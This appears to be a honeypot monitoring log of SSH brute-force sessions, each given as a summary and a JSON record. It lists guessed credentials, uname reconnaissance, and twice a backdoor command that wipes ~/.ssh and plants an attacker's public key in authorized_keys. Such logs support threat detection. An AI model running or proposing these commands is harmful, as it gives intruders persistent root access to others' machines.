Adversarial Observation Interface

43.134.49.202

2026-10-08 21:01:28.405773 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / admin2020

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 7199138fa751

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 5.8s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "7199138fa751",
  "src_ip": "43.134.49.202",
  "start_time": "2026-10-08T21:01:28.405773Z",
  "end_time": "2026-10-08T21:01:34.191659Z",
  "duration": "5.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "admin2020"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

77.239.124.148

2026-10-08 21:01:26.032776 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / dkflbckfd

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: b576ece64f80

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "b576ece64f80",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T21:01:26.032776Z",
  "end_time": "2026-10-08T21:01:27.359915Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "dkflbckfd"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

77.239.124.148

2026-10-08 21:01:20.665018 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: bob

Record ID: 8bdb968c4bf2

Client Version: SSH-2.0-Go

Engagement Duration: 2.1s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "8bdb968c4bf2",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T21:01:20.665018Z",
  "end_time": "2026-10-08T21:01:22.724802Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "bob",
      "pass": "bob"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.148

2026-10-08 21:01:15.725518 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: mysql / Originalcox!@

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 84cbf5c58d6f

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "84cbf5c58d6f",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T21:01:15.725518Z",
  "end_time": "2026-10-08T21:01:16.977778Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "mysql",
    "pass": "Originalcox!@"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

77.239.124.148

2026-10-08 21:01:10.642828 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: cursor

Record ID: 9caaaf653587

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "9caaaf653587",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T21:01:10.642828Z",
  "end_time": "2026-10-08T21:01:12.506065Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "cursor",
      "pass": "cursor"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.148

2026-10-08 21:01:05.168812 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: jhf

Record ID: b83f9283b2b8

Client Version: SSH-2.0-Go

Engagement Duration: 2.1s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "b83f9283b2b8",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T21:01:05.168812Z",
  "end_time": "2026-10-08T21:01:07.315009Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "jhf",
      "pass": "jhf"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.148

2026-10-08 21:00:59.719008 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: steam / 1

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 0a1393bb983d

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "0a1393bb983d",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T21:00:59.719008Z",
  "end_time": "2026-10-08T21:01:00.992038Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "steam",
    "pass": "1"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

77.239.124.148

2026-10-08 21:00:54.782772 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: elasticsearch

Record ID: e6af6841dbec

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "e6af6841dbec",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T21:00:54.782772Z",
  "end_time": "2026-10-08T21:00:56.627309Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "elasticsearch",
      "pass": "elasticsearch"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.148

2026-10-08 21:00:49.451602 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: daniel

Record ID: fd50947d78d3

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "fd50947d78d3",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T21:00:49.451602Z",
  "end_time": "2026-10-08T21:00:51.443949Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "daniel",
      "pass": "daniel"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.148

2026-10-08 21:00:43.665332 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / qwe.123456

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 3fecf3c25677

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "3fecf3c25677",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T21:00:43.665332Z",
  "end_time": "2026-10-08T21:00:45.023614Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "qwe.123456"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

77.239.124.148

2026-10-08 21:00:38.683056 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: test / 12345678

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 28d605f1b8f6

Client Version: SSH-2.0-Go

Engagement Duration: 1.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "28d605f1b8f6",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T21:00:38.683056Z",
  "end_time": "2026-10-08T21:00:40.240852Z",
  "duration": "1.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "test",
    "pass": "12345678"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

77.239.124.148

2026-10-08 21:00:33.925476 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / jetsum@142025

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 19247f56631c

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "19247f56631c",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T21:00:33.925476Z",
  "end_time": "2026-10-08T21:00:35.216236Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "jetsum@142025"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

77.239.124.148

2026-10-08 21:00:29.288139 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: postgres / 123456789

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: d5c7f4cca489

Client Version: SSH-2.0-Go

Engagement Duration: 1.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "d5c7f4cca489",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T21:00:29.288139Z",
  "end_time": "2026-10-08T21:00:30.822581Z",
  "duration": "1.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "postgres",
    "pass": "123456789"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

103.60.242.169

2026-10-08 21:00:29.173256 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: helen

Record ID: 082646f63bd0

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "082646f63bd0",
  "src_ip": "103.60.242.169",
  "start_time": "2026-10-08T21:00:29.173256Z",
  "end_time": "2026-10-08T21:00:31.753805Z",
  "duration": "2.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "helen",
      "pass": "12345678"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.148

2026-10-08 21:00:24.421916 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: garcia

Record ID: 7142b6c13f5a

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "7142b6c13f5a",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T21:00:24.421916Z",
  "end_time": "2026-10-08T21:00:26.269570Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "garcia",
      "pass": "garcia"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.148

2026-10-08 21:00:19.536697 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user1

Record ID: ab6b30305344

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "ab6b30305344",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T21:00:19.536697Z",
  "end_time": "2026-10-08T21:00:21.469295Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "user1",
      "pass": "123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

117.50.199.249

2026-10-08 21:00:16.063461 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hilda

Record ID: 5cf59512a5d4

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.2s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "5cf59512a5d4",
  "src_ip": "117.50.199.249",
  "start_time": "2026-10-08T21:00:16.063461Z",
  "end_time": "2026-10-08T21:00:18.244749Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "hilda",
      "pass": "hilda"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.148

2026-10-08 21:00:14.192579 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / carnaval

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: f9eb5fd15573

Client Version: SSH-2.0-Go

Engagement Duration: 1.7s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "f9eb5fd15573",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T21:00:14.192579Z",
  "end_time": "2026-10-08T21:00:15.845475Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "carnaval"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

77.239.124.148

2026-10-08 21:00:09.305097 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: user / rootroot

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 90720abe91ea

Client Version: SSH-2.0-Go

Engagement Duration: 1.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "90720abe91ea",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T21:00:09.305097Z",
  "end_time": "2026-10-08T21:00:10.798399Z",
  "duration": "1.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "rootroot"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

43.134.49.202

2026-10-08 21:00:06.515064 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 3dcd355d8922

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "3dcd355d8922",
  "src_ip": "43.134.49.202",
  "start_time": "2026-10-08T21:00:06.515064Z",
  "end_time": "2026-10-08T21:00:07.676863Z",
  "duration": "1.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

43.134.49.202

2026-10-08 21:00:04.198759 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: b82e96717565

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "b82e96717565",
  "src_ip": "43.134.49.202",
  "start_time": "2026-10-08T21:00:04.198759Z",
  "end_time": "2026-10-08T21:00:06.328948Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.148

2026-10-08 21:00:03.325918 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / 123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 4f879544b955

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "4f879544b955",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T21:00:03.325918Z",
  "end_time": "2026-10-08T21:00:04.767164Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

43.134.49.202

2026-10-08 21:00:01.862552 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / qwe

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 47a648744067

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 5.8s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "47a648744067",
  "src_ip": "43.134.49.202",
  "start_time": "2026-10-08T21:00:01.862552Z",
  "end_time": "2026-10-08T21:00:07.672663Z",
  "duration": "5.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "qwe"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

77.239.124.148

2026-10-08 20:59:57.991488 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: alex

Record ID: e3ff791f52f2

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "e3ff791f52f2",
  "src_ip": "77.239.124.148",
  "start_time": "2026-10-08T20:59:57.991488Z",
  "end_time": "2026-10-08T20:59:59.908320Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "alex",
      "pass": "1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
